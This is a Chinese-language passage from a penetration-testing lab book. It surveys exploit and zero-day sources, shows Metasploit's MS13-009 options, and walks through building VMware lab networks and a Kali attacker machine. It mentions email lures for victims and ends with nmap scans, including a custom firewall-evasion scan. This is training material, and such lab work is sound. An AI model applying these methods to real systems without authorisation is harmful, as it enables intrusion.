现在我们可以开始了,因为我们有了用于利用漏洞的字符串,只是建立实验室并进行测试的问题。这一切都需要时间,现在我们将继续审查不同的网站,以用作潜在的参考。随着我们追求漏洞,漏洞越新越好。这是因为很可能还没有为漏洞编写签名来检测它;此外,如果它是一个零日漏洞,那么它在公开上是未知的,这使得它是理想的。我们有几个网站可以提供有关零日漏洞的信息,我们将首先查看的是该网站的零日追踪器。在您的浏览器中,输入www.eeye.com/Resources/Security-Center/Research/Zero-Day-Tracker。以下是该网站的一部分截图:

漏洞网站

网站的一部分www.eeye.com/Resources/Security-Center/Research/Zero-Day-Tracker(裁剪的文本不重要)

您可以看到访问该网站后,它专门致力于零日发现。这是我们讨论过的我们想要在研究中做的事情,这个网站为我们提供了一个很好的参考。因此,让我们进一步探索列表。选择一个漏洞并查看更多详细信息。更多详细信息的示例如下截图所示:

漏洞网站

在您审查截图时,有许多漏洞的特征我们需要更仔细地查看。我们看到目前没有可用的缓解措施。这意味着在此披露时无法进行防御。这使得它成为我们工具箱的理想补充。您会注意到它影响了 Windows XP 机器,这很好地说明了为什么微软继续努力消除它在行业中的存在。这个操作系统相当陈旧,确实需要被替换;问题在于它长期以来一直是一个值得信赖的操作系统,人们,包括我在内,一直很喜欢使用它。然而,微软已经宣布不再支持它。因此,从我们的测试角度来看,如果有漏洞被发布,这意味着将永远不会有补丁,因此漏洞将永远存在。

安全社区中的许多人认为,有许多 Windows XP 的漏洞一直被攻击者憋着,等待 Windows XP 的生命周期结束。这是因为一旦不再受支持,那么任何发布的漏洞都将成为攻击者利用的理想对象,相应地,也适用于我们在测试中使用。

您还会从屏幕截图中注意到漏洞已被利用,并且已经有人在野外利用它。同样,这些都是我们测试的理想对象;此外,它们应该成为我们的利用收集的一部分,以备我们遇到这种类型的目标。这是一个过程的一部分;我们确定在我们的实验环境中有效的内容,记录下来,并使其成为我们安全测试收集的一部分。

另一个需要注意的是,虽然它在内核级别权限下执行,这是好的,但所需的位置是本地的,这对我们的测试来说是不好的。嗯,也不是那么糟糕,这只是意味着我们无法远程执行,因此我们必须获得本地访问权限来利用漏洞,并相应地进行利用。当您审查这样的漏洞时,我们将最优先和首选的能够远程利用的能力。虽然这个样本利用不太理想,但我们仍然可以测试它,并看看我们需要做什么才能使利用成功。由于要求是本地的,这意味着我们很可能需要使用某种诱饵来让客户端与我们的诱饵进行交互,以便能够利用它。我们可以使用的一些方法是电子邮件,例如,向网站发送电子邮件,看看我们是否能诱使任何人点击该电子邮件。当我们研究不同类型的测试以模拟时,我们将讨论不同的诱饵和诱使受害者的方法。

我们将要查看的下一个网站是由TippingPoint赞助的零日计划网站,现在已成为惠普的一部分。在您的浏览器中,打开链接www.zerodayinitiative.com。该网站首页的示例如下截图所示:

漏洞网站

在您审查前面的屏幕截图时,您会看到有关即将发布的警报以及已发布的警报的部分。我们将重点关注已发布的警报,但即将发布的警报也很有趣,您可能希望自行探索。

这些是已通知供应商但尚未发布补丁的警报。当您看到自供应商被通知以来已经过去的天数以及仍然没有发布补丁的事实时,可能会感到惊讶。然而,再次强调,这不是我们要讨论的内容,但这是值得了解的信息。我们将查看已发布的警报。单击已发布的警报,它将显示当前已发布的警报列表,如下面的屏幕截图所示:

漏洞网站

当您审查前面的屏幕截图时,您会看到一些有CVE。我们可以使用这个 CVE 来跟踪不同工具和网站上的漏洞,以收集额外的信息。此外,几乎所有工具都与 CVE 编号进行了交叉引用,因此,这使我们的工作变得更加容易。流程是创建我们想要测试的实验室环境,然后使用工具并查看它在数据包级别上的操作。要在数据包级别上查看信息,我们只需使用协议分析器,如 Wireshark 或其他工具。

我们不会在这里详细介绍该网站,但我们确实想更仔细地查看漏洞详情中可用的信息。我们将选择一个在上一个屏幕截图中未显示的示例。我们选择的漏洞是思科数据中心管理器中的 CVE 编号2013-5486,并于2013 年 11 月 24 日修补。一旦我们选择了漏洞,它会显示有关漏洞本身的其他信息。作为测试人员,我们希望尽可能多地研究漏洞,以便在需要时在测试环境中或在实地测试时更好地模拟它。漏洞的一个示例显示在下一个屏幕截图中:

漏洞网站

特别值得注意的是,漏洞于 2013 年 2 月 22 日报告给供应商,一直持续到 2013 年 11 月 24 日。这就是修补的现实;在安全方面,它并不能拯救我们。现在对我们来说是好事,因为我们正在测试,但最终是坏事,因为我们正在测试和进攻,所以我们要在防御方面保护自己。我喜欢说,修补是一个有缺陷的系统,但不幸的是,这是我们在试图减轻软件中这些漏洞时唯一拥有的系统。

所有这些网站都遵循了负责任的披露规则,这包括通知供应商并为他们提供充足的时间来构建补丁并修复漏洞。并非所有网站都会遵守这种思维方式;有些是我们所谓的全面披露,也就是说,一旦发现任何漏洞,他们就会立即发布,而不通知供应商。由于这些网站的性质,使用时请谨慎。此外,这些网站来来去去,因此它们经常会在互联网上短暂消失。需要注意的重要事情是,总会有一些网站不遵守负责任的披露,而这些就是我们想要添加到我们的资源中以找到验证和确认我们的漏洞的方法的网站。

另一件缺失的事情是,大部分网站中几乎没有限制性的利用代码。Security Focus上有一些关于利用和一些代码的信息,但这就是我们所知道的。

我们首先从一些倾向于或实际上是全面披露的网站开始;因此,大多数这些网站都提供了漏洞利用信息或链接。我们将首先看一下来自SecuriTeam的网站;打开链接www.securiteam.com。这是另一个为我们提供大量信息的网站,超出了本书的探索范围;然而,我们确实想看一下这里的一些优秀信息和资源。在主页的右侧,你会看到关于漏洞利用和工具的信息,如下截图所示:

漏洞网站

再次强调,这是一个你想要经常访问并阅读一些资源和信息的网站。我们的方法是要求对环境进行测试。你的下一步是计划和准备你的实验室;我们之前讨论过的其他网站也提供了这样的机会,让你去寻找那里的东西,然后尝试在实验室环境中创建它,这样当你进入测试领域时就知道可以期待什么。

现在我们将看一下其中一个漏洞利用,看看这个网站为我们提供了什么。我们将选择主页顶部的漏洞利用选项卡,并寻找我们选择的漏洞利用。要跟着做,点击漏洞利用。这将打开在撰写本书时列出的漏洞利用列表,如下截图所示:

漏洞网站

我们选择了列表中的这一部分有特定的原因。在撰写本书时,我们为一个高端客户进行了安全测试,在初步发现期间,客户问了我们这个问题:“你在 Windows 之外的其他操作系统上找到了什么吗?”这个问题经常遇到,因为有一种误解,认为 Linux 或 Unix 自动比 Windows 更安全。我们不打算在本书的页面内进行这个讨论;而且,这忽略了安全的重点,即过程而不是操作系统是最重要的。也就是说,如果你没有一个有效的补丁管理流程,那么无论使用什么操作系统,都会发现漏洞。在这里就是这种情况;因为他们没有有效的漏洞管理系统,所以在他们的 Linux 和 Unix 平台上发现了漏洞。

在之前的截图中有一些值得调查的漏洞。但我们将集中在列表中倒数第二个;它是在 FreeBSD 中,恰好是我最喜欢部署在防火墙架构中的操作系统之一,唯一优先于它的是OpenBSD。让我们进一步探索一下。漏洞利用信息的示例如下截图所示:

漏洞网站

关于这个漏洞利用的一点需要注意的是,我们是连接到本地主机,所以这是一个本地漏洞利用,我们需要在本地机器上进行利用。正如之前提到的,这并不理想,但我们可以建立实验室来尝试远程利用。重要的是过程;我们从那里开始,然后进行实验,看看我们在遇到这种情况时如何使用它,比如在现场遇到一个 FreeBSD 机器。当然,我们还需要这个漏洞利用所需的盒子运行 telnet 服务。在之前的截图中没有显示,但在网站上可以找到的是漏洞利用的实际源代码。

我们将要查看的下一个网站是packet storm。在浏览器中输入www.packetstormsecurity.com。packet storm 不仅有安全公告和利用信息,还是一个你可以下载文件的存储库。在大多数情况下,这是一个黑客工具或类似的东西,你会在这里找到。

一旦你查看了 packet storm 的主页,我们要看一下利用区域。点击利用并查看显示的信息。这里有大量的利用列表。以下是利用列表的示例截图:

漏洞网站

显示利用列表示例的屏幕(裁剪的文本不重要)

正如我们从其他网站看到的,如果你点击利用标题,它将为你提供有关利用的信息、细节和代码。

我们已经看过许多不同的网站,正如我们所讨论的,这只是一个小样本。我们鼓励你在本书之外探索和发现你想要添加到资源工具包中的网站。

本节我们将要介绍的最后一个网站是我们在寻找有关零日漏洞和利用方面最好的参考来源。该网站被称为 millw0rm,但创始人很难维持网站的运行,因此关闭了它。幸运的是,Offensive Security 团队继续了原始网站的传统。在浏览器中打开链接www.exploit-db.com以打开该网站。正如你所看到的,该网站根据利用所需的位置分成了不同的部分。以下是该网站的示例截图:

漏洞网站

与以前一样,我们可以查看利用代码,但由于我们已经完成了这一点,我们将看一下该网站极为强大且经常被忽视的另一个功能。这就是搜索利用的能力。

在主页的顶部是一个菜单列表;花一分钟时间查看选项。以下是该菜单的截图:

漏洞网站

显示在主页顶部的菜单列表的屏幕(裁剪的文本不重要)

我们要选择的选项是搜索选项,所以点击搜索。这将打开工具的搜索窗口,并为我们提供了许多查找利用的方法。此外,我们可以按端口、CVE 和多种方法进行搜索。这使我们的参考和资源变得完整;我们已经涵盖了许多获取漏洞和其他详细信息的方法,现在这为我们提供了搜索利用的能力。因此,我们现在拥有了一个完整的武器库,用于识别在利用漏洞和攻击目标时要使用的东西。

我们可以搜索各种参数;选择主要取决于你在研究过程中发现了什么。我们将提供一个简单的例子。我们已经在 FreeBSD 中发现了一个漏洞,所以我们将搜索数据库,看看与 FreeBSD 相关的内容。在搜索窗口中,在描述字段中输入FreeBSD。然后,点击搜索按钮提交搜索到数据库,将返回一些结果。以下是一个示例截图:

漏洞网站

有趣的是,我们在探索 SecuriTeam 网站时没有看到我们发现的 telnet 漏洞利用。这就是为什么在进行研究时我们使用多种不同的参考和资源。总会有一种可能性是一个网站有而另一个没有。也有可能是列表在另一个参数下。因此,我们可以尝试使用另一个参数进行搜索,看看能找到什么。我们不会在这里尝试,因为我们已经从之前的网站得到了漏洞利用代码,因此我们可以建立实验环境并尝试利用。在涉及漏洞网站时,我们已经涵盖了足够的内容;此外,这为您提供了一个良好的基础,可以帮助您在实验环境中找到漏洞并尝试验证它们。

供应商网站

我们查看了许多可供我们用作资源的网站。我们尚未涵盖的一件事是供应商的网站。我们可以从供应商网站上获取一些有用的细节。话虽如此,正如零日倡议网站所显示的,供应商并不总是提供有关漏洞的信息,除非这对他们方便。有一个案例是 Cisco 报告了一个拒绝服务漏洞,而安全研究人员并没有止步于供应商报告的内容。在他的研究中,发现这不仅是一个拒绝服务漏洞,还是一个远程代码执行拒绝服务。这一事件后来被称为“思科门”。您可以在www.wired.com/science/discoveries/news/2005/08/68435上阅读相关内容。简而言之,它解释了一个研究人员遵循规则并告诉思科及其公司他将在研究结果中呈现的内容,后来却因在 Blackhat 会议上做演讲而被起诉的事件。

这并不意味着供应商会明确不发布漏洞的完整细节,只是当您使用供应商网站时,您必须将他们的信息与其他网站进行交叉参考,并做出判断。如果一切都失败了,那么您可以进行实验并自行测试。

在规划我们的渗透测试实验环境时,我们希望专注于您最有可能遇到的供应商,这一点无法过分强调。我们知道,我们继续在某些供应商中看到如此多的漏洞的原因之一是因为它们是受欢迎的,这为攻击者和我们提供了更好的目标丰富环境。

由于您将遇到的大多数目标将基于 Microsoft Windows,因此从那里开始是有道理的。要记住的一个重要日期是每个月的第二个星期二,这一天被专门指定为 Microsoft 的“补丁星期二”。一旦列表出来,黑客社区就会聚在一起举行整夜的“代码马拉松”,看看他们是否能为当天全世界都知道的新漏洞创建利用。寻找这些漏洞利用的最佳地方是 Exploit Database 网站,黑客们一旦使其工作,就会发布这些漏洞利用。

Microsoft 有一个漏洞公告编号,我们在尝试从不同网站协调信息时可以使用它;它类似于 CVE 之类的参考,但它来自 Microsoft 内部。下一个截图显示了 2013 年 11 月的 Microsoft 公告列表的示例:

供应商网站

当您查看列表时,您会发现这三个是关键的,这正是我们在寻找漏洞时要寻找的东西。我们已经发现了许多获取信息的方法,使用公告编号作为参考只是另一种方法。

正如你可能还记得我们访问 Exploit Database 网站时所看到的,针对微软平台的一些利用程序有一个微软公告编号的参考,我们将查看MS13-009的公告编号作为参考;这里,MS13 表示它是 2013 年的。由于我们在 Exploit Database 中有它,我们知道有一个利用程序。现在,我们的下一步是审查利用程序,看看我们能发现什么。

理想情况下,当这些利用程序在 Exploit Database 中时,它们已经是 metasploit 框架的一部分。我认为几乎每个阅读本书的人都听说过由 Rapid7 拥有的出色的利用框架,而且,作为收购的结果,现在有了商业版本。我们将在整本书中使用开源版本。如果你碰巧不熟悉这个工具,你可以在www.metasploit.org/上发现更多信息。主页的一个示例在下面的屏幕截图中显示:

供应商网站

屏幕显示www.metasploit.org/(裁剪的文本不重要)

该网站包含了优秀的参考和资源,因此鼓励你查阅该网站的文档,并将其添加到你的参考资料工具箱中。关键点是,一旦我们发现利用程序已经输入 metasploit 框架,我们在虚拟环境中的测试工作就会变得更加容易。

我们从 Exploit Database 网站的 MS13-009 的示例利用程序中得知,这是针对微软 Internet Explorer 软件的。这是我们在执行测试任务时很可能会遇到的情况,它有一个一贯的习惯,几乎每个补丁星期二都会给我们提供漏洞。现在我们将进一步探索这个漏洞。当我们在 Exploit Database 网站时,我们点击exploit来打开利用程序代码。利用程序代码标题的一个示例在下面的屏幕截图中显示:

供应商网站

屏幕显示一个利用代码标题的示例(裁剪的文本不重要)

正如前面的屏幕截图所示,这个利用程序是 metasploit 框架的一部分,因此,我们可以从框架内部调查利用所需的参数。我们将在下一节选择并构建一个攻击者机器;所以现在我们将展示利用在 metasploit 中的样子,而不提供构建机器的细节。利用程序选项的一个示例在下面的屏幕截图中显示:

供应商网站

正如前面的屏幕截图所示,我们只需要设置两个选项,SRVHOSTSRVPORT,来尝试利用漏洞。这里的重要一点是,一旦它在框架中,我们验证漏洞的任务就变得更容易了。不过需要注意的是,仅仅因为我们在 metasploit 中有了利用程序,并不意味着我们一定会成功。这就是为什么存在“利用并非 100%”这样的说法。

正如我们所展示的,供应商网站可以作为额外的信息来源,但绝不是唯一的来源。需要一个系统的过程来识别感兴趣的漏洞,并与多个来源协调以取得成功。

摘要

在本章中,我们研究了在尝试构建范围之前所需的初步步骤。我们从规划的第一步开始,讨论了规划我们架构的重要性。在本节中,我们确定了我们要实现的目标,并讨论了实现这一目标的计划。

我们看了一些我们可以用来识别我们想要在架构中测试的漏洞的方法。现在我们知道了发现漏洞的方法,我们准备建立范围的基础。这样,当我们发现一个新的或零日漏洞时,我们可以在我们的范围上部署它,看看我们能做些什么来利用它并访问不同的目标。这个基础将在下一章中建立。

第四章:确定范围架构

在本章中,我们将看看创建机器来构建我们的测试实验室架构基础的过程。我们将讨论以下主题:

  • 构建机器

  • 选择网络连接

  • 选择范围组件

本章将为我们提供一个坚实的基础,因为我们将探讨如何构建环境来支持我们需要执行的测试类型。

构建机器

现在我们已经规划并准备好了我们的测试工作,是时候来看看如何构建这些机器了。我们在第三章 规划范围中简要介绍了这一点,但现在我们将专注于为我们的渗透测试实验室构建环境。有许多构建测试架构的方法,我们将根据以下图表构建实验室:

构建机器

前面的图表显示了一个为我们提供多层防御的架构;以此作为我们的参考点将使我们能够执行各种各样的测试技术。此外,我们可以添加机器并连接到我们测试所需的虚拟交换机中。该图表使我们能够模拟您在渗透测试中可能遇到的任何环境。

注意堡垒主机;这是将作为我们架构防火墙的盒子。我们可以安装几乎任何基于软件的防火墙并在测试中使用。需要注意的一个重要点是,在大多数情况下,内部网络将使用网络地址转换NAT),在正常的外部测试场景中,我们将无法将数据包路由到内部网络。要做到这一点,我们需要客户端交互,这将在我们逐步学习不同的渗透测试技术时进行讨论。现在,我们已经有了图表和所需的信息,所以是时候开始构建了!

正如我们在第三章 规划范围中所展示的,我们可以使用一些产品作为我们的虚拟化平台,你可以自由选择使用任何一个;因此,实验室设置的初始阶段可能与我们在书中展示的有所不同。你使用哪种解决方案并不重要;一旦机器建好,它们在启动时基本上都是一样的。

为了我们的目的,我们将使用 VMware Workstation 工具。在创建机器时,该工具有三种选择。我们将在以下部分讨论这三种选择。

构建新机器

构建新机器已经涵盖了,并且它为我们提供了从 ISO 映像引导的选择,就像我们在第三章 规划范围中所做的那样。或者,它为我们提供了使用安装媒体的选择,挂载它,然后通过与在专用机器上安装操作系统的方式进行安装过程。需要注意的是,VMware Workstation 工具为我们提供了一个简单的安装向导,如果它识别出您为机器创建的操作系统,那么它将大部分自动创建、构建和安装操作系统。

需要注意的一点是:在创建虚拟机时,请确保创建一个符合您需要的版本的机器。也就是说,如果您使用的是最新版本,即在撰写本书时的版本 10,那么创建机器时默认会将其创建为版本 10。如果将其移动到早于此版本的平台上,虚拟机将无法工作。这种情况已经发生过不止一次,因此请确保在创建虚拟机时考虑您的虚拟机可能在其中使用的环境。

转换

这是我们在第二章中简要介绍的另一个选项,选择虚拟环境。我们看过将物理机转换为虚拟机,或者称为 P2V;因此,在这里没有新内容可覆盖。

克隆虚拟机

到目前为止,我们还没有讨论过克隆虚拟机的概念。这是一个有价值的方法来构建我们的环境。这比我们将讨论的下一个技术——快照——更复杂。通过克隆,我们有两种选择;我们可以创建一个链接克隆,它将链接到原始机器。通过选择链接克隆,我们假设始终可以访问原始机器,因为启动虚拟机需要它。链接克隆的优势在于它占用更少的存储空间。另一个选择,也是更常见的选择,是创建完整克隆;这是原始机器在其当前状态的完全副本。由于它完全独立,因此需要更多的磁盘空间来存储。

克隆的优势和力量在于,一旦我们建立了用于测试实验室的机器,我们只需克隆它并对配置进行更改,而无需再建立另一个。我们现在就要这样做。启动 VMware Workstation,一旦程序打开,打开您选择的虚拟机,您可以使用我们在第三章中创建的虚拟机,或者创建一个新的虚拟机,并导航到VM | 管理。这将弹出菜单,如下面的截图所示:

克隆虚拟机

显示菜单的屏幕(裁剪的文本不重要)

点击弹出的窗口中的克隆,然后点击下一步。在克隆源选择窗口中,接受虚拟机当前状态的默认设置,然后点击下一步。这将弹出选择克隆类型的窗口;选择创建完整克隆,然后点击下一步,如下面的截图所示:

克隆虚拟机

在下一个窗口中,是时候为克隆选择一个名称和存储位置了。这是另一种创建克隆然后将其存储在共享设备甚至可移动驱动器上的方法。这些都是我们在创建机器时可能要考虑的选项。输入您选择的名称或接受默认名称,如果要将克隆存储在另一个位置,浏览到该位置。一旦输入所需信息,点击完成

如果一切顺利,点击完成后,克隆操作应该开始,在短时间内,您应该看到克隆操作完成的消息,如下面的截图所示:

克隆虚拟机

就是这样!现在您有了一个完整的虚拟机克隆,它将独立于原始虚拟机运行。这是构建实验室机器的强大方式。单击关闭,您克隆的虚拟机将在新窗口中打开。从这一点开始,您可以启动虚拟机或像原始机器一样进行任何操作。

我们想要谈论的最后一个概念是快照。由于克隆可以创建整个机器,有时仅创建机器的快照是有利的。快照就是它听起来的样子;在那个时间点的机器的快照。在开发过程中,我们喜欢大量使用快照;这符合工程中的概念,即您总是留下回到初始状态的方法。在构建我们的机器时,这是至关重要的。在编写任何新代码、程序或可能引起问题的任何内容之前,请确保在当前状态下对机器进行快照,以便在出现问题时返回到正常状态。这是一种做法,我希望供应商在其软件更新中使用。

得到一个新的补丁,当您安装它时,消息显示一旦安装了补丁,您将无法恢复到原始状态!这违反了所有工程最佳实践,而且,编程设计!我们总是需要有一条回到原始状态的路径。快照的过程最好通过一个例子来解释。当我们构建我们自己的开源工具时,面临的一个挑战是找到所需软件的所有依赖项的正确版本。因此,在系统上安装或更新任何软件之前,我们必须拍摄快照。这将使我们始终能够返回到原始状态。

选择网络连接

在本节中,我们将看一下在构建我们的环境时可以选择的网络选项。我们必须使用 VMware Workstation 工具的网络功能,并利用它为我们提供的功能。打开您的 VMware Workstation 软件并打开您选择的虚拟机。这样做时,您会看到一个作为配置的一部分的网络适配器。我们稍后会看到这个。导航到编辑虚拟机设置 | 网络适配器。这将打开适配器的配置窗口,如下面的屏幕截图所示:

选择网络连接

正如您在上面的屏幕截图中所看到的,我们可以在网络上进行许多设置。我们要做的是理解每个设置代表一个交换机,当您使用该设置创建网络适配器时,相当于将该机器连接到交换机。一旦我们讨论不同的选项及其含义,我们将更仔细地研究这一点。

桥接设置

当我们配置网络适配器使用桥接设置时,它将网络适配器连接到实际物理网络。这与将单独的机器连接到网络相同。VMware 将其指示为 VMware VMnet0 接口。这可以更改,但在大多数情况下,我们不需要这样做。还有许多其他设置可以使用,但它们超出了范围,对我们正在构建的内容并不是必需的。除非您需要从外部机器访问您的虚拟环境,否则我们通常不会配置桥接网络。

桥接设置的示例如下图所示:

桥接设置

桥接设置为我们提供了具有自己在网络上的位置的虚拟机;这意味着它不与主机共享网络连接。

网络地址转换

在大多数情况下,NAT 是我们最常使用的设置。当我们选择 NAT 设置时,我们与客户共享主机网络卡,没有自己的地址,但仍然可以访问互联网。保留给 NAT 的开关是 VMnet8。值得一提的是,当创建虚拟机时,默认设置是 NAT。由于 NAT 设置是架构内的私有网络设置,提供了 DHCP 服务器来根据需要分配地址。NAT 配置的示例如下图所示:

Network Address Translation

在 NAT 配置中,主机系统有一个连接到 NAT 网络的虚拟网络适配器。这使得主机和虚拟机可以相互通信。当接收到 VMnet8 网络的数据时,外部网络会识别每个虚拟网络机器的传入数据包,并将它们发送到正确的目的地。

在正常配置中,NAT 机器无法从外部网络访问。然而,可以改变这一点,设置端口转发,使外部机器可以发起连接并将流量发送到连接到 NAT 设备的机器中。对于我们的目的,我们更喜欢保留 NAT 的默认设置,不配置端口转发,因为我们不希望外部机器连接到内部机器,因为这是我们测试的大多数网络的配置方式。尽管我们不使用这个功能,但这可能是你想要尝试的东西。构建虚拟测试实验室就是关于实验和找到适合你的方法。因此,要访问端口转发配置,打开 VMware Workstation,导航到编辑 | 虚拟网络编辑器... | VMnet8 | NAT 设置... | 添加。这将打开端口转发设置窗口,这里有其他设置可以自定义,但大部分情况下,默认设置对我们的目的效果很好。端口转发选项的示例如下截图所示:

Network Address Translation

在这里需要补充的一点是,无论你在 VMware 中添加了多少个开关,主机的 IP 地址都将是X.X.X.1,网关将是X.X.X.2,如果你使用 DHCP 服务器,地址将从X.X.X.100开始。这些是默认设置,但像大多数事情一样,你可以修改以满足你环境的设置要求。

The host-only switch

正如我们在第三章中提到的,规划范围,在安装 VMware Workstation 时默认配置的主机专用开关是 VMnet1。主机专用连接意味着虚拟机无法访问互联网。该开关被隔离,用于虚拟机和主机之间的通信,没有连接到主机外部的能力。实际上,我们拥有一个完全包含在主机内的隔离网络。这对我们构建渗透测试实验室时是另一个很好的特性。通过隔离的私有网络,我们可以强制流量使用我们测试所需的路由。

在主机专用配置中,虚拟机和主机系统之间的网络连接由主机操作系统上可见的虚拟网络适配器提供。与 VMware Workstation 提供的其他开关一样,该开关有一个与之关联的 DHCP 服务器,为连接到网络的机器提供 IP 地址。主机专用网络配置的示例如下图所示:

The host-only switch

这里需要提到一些注意事项。我们之前说过,仅主机网络是一个隔离的网络。嗯,就像虚拟化的大多数事物一样,您可以改变这一点,使得隔离的网络不再完全隔离。再次强调,出于我们的目的,这不是我们要探讨的内容,但我们只是想简要介绍一些打破或至少削弱隔离的方法。您可以设置路由或代理将网络连接到外部网络,如果您使用的是 Windows Server 2003 或 Windows XP,您可以使用Internet Connection Sharing选项连接到外部网络。

自定义设置

到目前为止,我们已经看到了安装 VMware Workstation 软件时包含的三个交换机,这些为我们提供了桥接、NAT 和仅主机配置功能。然而,按照我们计划的构建网络架构,仅有这三个交换机会限制我们,并且无法提供我们所需的功能。

现在是时候把所有东西都放在一起,开始构建我们的分层架构。您可能还记得,我们之前展示的架构是一个高层次的黑匣子视图。我们现在有了完整呈现架构的知识。以下图表显示了一个示例:

自定义设置

如前面的图表所示,我们现在有了我们定义的交换机,这就是自定义的力量。我们可以使用我们之前介绍的技术来构建和配置这些交换机以满足我们的要求。接下来,我们将为交换机定义以下 IP 寻址方案:

  • VMnet8: 192.168.177.0/24

  • VMnet1: 10.1.0.0/24

  • VMnet2: 10.2.0.0/24

  • VMnet3: 10.3.0.0/24

  • VMnet4: 10.4.0.0/24

这些将在整本书中使用。您可以使用自己的寻址方案,但是在书中构建的机器将与您构建的机器不同。正如您可能已经注意到的那样,我们在先前的图表中没有列出 VMnet1,但是我们为其分配了一个 IP 地址。这是因为我们希望有一个交换机专门用于我们的测试。我们将在下一节详细解释这一点。

我们之前已经介绍了如何自定义网络交换机,但为了节省您不必回头查找这些信息的麻烦,我们将在这里重复 VMnet1 交换机的步骤。我们在第三章中配置了 VMnet8 交换机,规划范围。打开您的 VMware Workstation 并导航到编辑 | 虚拟网络编辑器… | VMnet1。在子网 IP 框中,输入10.1.0.0。将其余设置保持为默认设置。您可以验证您的设置是否与以下截图中显示的设置相匹配:

自定义设置

验证设置后,点击应用,然后点击确定。执行相同的步骤来配置其余的网络。对于 VMnet2 和 VMnet4,您将需要选择使用 DHCP 服务器的框;这在 VMnet1 中默认启用,但对于其余的交换机则不是。在完成配置网络后,验证您的设置是否与以下截图中显示的设置相匹配,然后继续到下一节:

自定义设置

屏幕显示设置(裁剪的文本不重要)

我们现在应该已经为我们想要实现的分层环境设置好了网络交换机和架构。我们将在我们创建的所有机器上配置至少两张网络卡,这样我们就可以对扁平网络进行第一轮测试。这是因为如果我们在网络是扁平的并且直接连接时无法攻击它,那么就没有理由对架构进行分层然后再次尝试。这个概念经常被忽视,你在夺旗赛CTF)比赛中看到的网络都是扁平的。它们可能有多个网络卡,以便你可以进行枢纽(使用受损的机器来到达下一个目标),但它们是扁平的,这并不代表一个真正的测试环境。此外,它们已经禁用了防火墙,或者启用了防火墙但配置为允许流量通过。

将所有这些放在一起,我们将在所有机器上都有一个连接到架构中的交换机的网络适配器,以及一个连接到 VMnet1 网络的第二个适配器。因此,这将允许我们在 VMnet1 交换机上测试所有机器,一旦测试完成并成功,我们将从网络的真实架构点进行查看。为了防止虚拟环境中可能发生的任何数据包泄漏,第一次测试后的所有测试都将包括禁用或移除连接到 VMnet1 交换机的网络适配器。因此,现在是时候通过选择组件来开始填充我们的架构了!

选择范围组件

在这一部分,我们想要选择我们将在整个架构中使用的组件。主要问题是我们有一个网络设计图,现在我们要做的就是填充它。我们想要放置在架构中的第一台也是最重要的机器是我们用来进行攻击的机器。

攻击者机器

在选择我们的攻击者机器时,有很多选择。这通常基于测试人员对不同工具和更重要的是操作系统的经验。通常会构建多个攻击者机器,并对其进行定制以在不同的环境中工作。你可以随时创建和构建自己的机器,但在本书中,我们将使用最流行的发行版之一,那就是 Kali Linux。你可能还想构建一个 Backtrack 5R3 发行版的机器。Kali Linux 确实是 Backtrack 发行版的延续,但在 Backtrack 5R3 中有一些在 Kali 中不再存在的工具,比如 Gerix WiFi Cracker 和 Nessus。同样,这在很大程度上是个人偏好的问题。在本书中,我们将专注于 Kali 发行版作为我们的平台选择。

在第三章中,规划范围,我们使用了 Kali ISO 镜像构建了一个虚拟机,这可以使用,但我们更喜欢实际使用虚拟机而不是一个实时引导镜像作为我们的主要攻击者机器。你仍然可以保留我们在第三章中创建的 ISO 镜像,但我们想要获取已经以 VMware VMDK 格式存在的实际发行版。这样做的一个优点是 VMware 工具已经安装,这在虚拟环境中为我们提供了更好的操作系统集成。首先,我们需要从 Kali 网站下载虚拟机;你可以在www.kali.org/downloads/#下载它。

对于那些想要构建自己的机器的人,有一个位于docs.kali.org/downloading/live-build-a-custom-kali-iso的参考文档可以帮助你完成这个任务。

一旦下载了虚拟机,将其解压到您选择的位置,然后使用 VMware Workstation 打开它。一旦打开,我们要做的第一件事是添加另一个网络适配器,因为虚拟机有一个连接到 NAT-VMnet8 接口的适配器,这为我们提供了与外部点的连接。但是,我们也希望我们的机器连接到 VMnet1 开关,以便在添加过滤器和保护层之前直接测试事物。

我们 Kali 配置的一个示例如下截图所示:

攻击者机器

显示我们 Kali 配置示例的屏幕(裁剪的文本不重要)

正如前面的截图所示,我们现在在我们的 Kali Linux 机器上有两张网卡:一张连接到 VMnet8 NAT 开关,另一张连接到 VMnet1 主机专用开关。这为我们提供了直接访问这两个网络的能力,而无需配置任何额外的设置。正如我们所提到的,我们将使用 VMnet1 开关进行测试,一旦测试完成,我们将把目标放在架构所需的位置,然后对其进行测试。

我们之前提到过,但值得重复一下;您必须在一个平面网络上攻击目标并验证其是否有效。否则,设置过滤器只会是浪费时间。

现在我们来看一个简单的例子。在 VMware Workstation 中的 Kali 虚拟机中,点击Power on this virtual machine启动虚拟机。一旦机器加载完成,您将通过点击Other来登录。这将打开机器的登录页面。输入root作为用户名,toor作为密码。一旦桌面出现,导航到Applications | Accessories | Terminal打开一个终端窗口。在窗口中,输入ifconfig eth1来查看连接到开关的接口的 IP 地址信息。

在我们做任何其他操作之前,我们将更新 Kali 发行版。这里需要注意的是:有时更新会出现错误,因此在执行更新之前,强烈建议我们对机器进行快照。在 VMware Workstation 中,导航到VM | Take snapshot。在打开的窗口中,输入快照的名称,然后点击Take snapshot

正如我们讨论过的,在 VMware 中,主机将是子网的第一个 IP 地址,所以对我们来说,主机是10.1.0.1。现在,我们将进行一个小实验。我们将使用流行的工具 Nmap 扫描我们的主机。我们要确保我们的防火墙在主机上是禁用的。在终端窗口中,输入nmap -sS 10.1.0.1并扫描主机。扫描完成后,您应该看到类似于以下截图中显示的结果:

攻击者机器

正如我们所看到的,主机上有许多端口是开放的,但现在我们想要打开防火墙。一旦你打开了防火墙,再次进行相同的扫描。正如你所看到的,现在防火墙已经打开,结果是不同的。这是许多测试人员不理解的事情;这是 Windows 防火墙,我们曾经认为它很容易被渗透,但正如我们的小实验刚刚表明的那样,情况已经不再是这样了。如果你在互联网上搜索并寻找如何渗透防火墙的指导,你会读到关于分段扫描和许多其他方法。我们鼓励你自己尝试所有这些不同的技术,而不是在这里覆盖每一种;我们将去找 Nmap 工具的创建者 Fyodor。他有一些高级扫描参考资料,其中之一实际上是一本书。因此,当我们四处寻找时,我们发现渗透防火墙建议使用自定义扫描。就像你读到的任何东西一样,过程是创建一个实验环境,然后自己测试和验证。在 Kali 的终端窗口中,输入nmap -sS -PE -PP -PS80,443 -PA3389 -PU40125 -A -T4 10.1.0.1

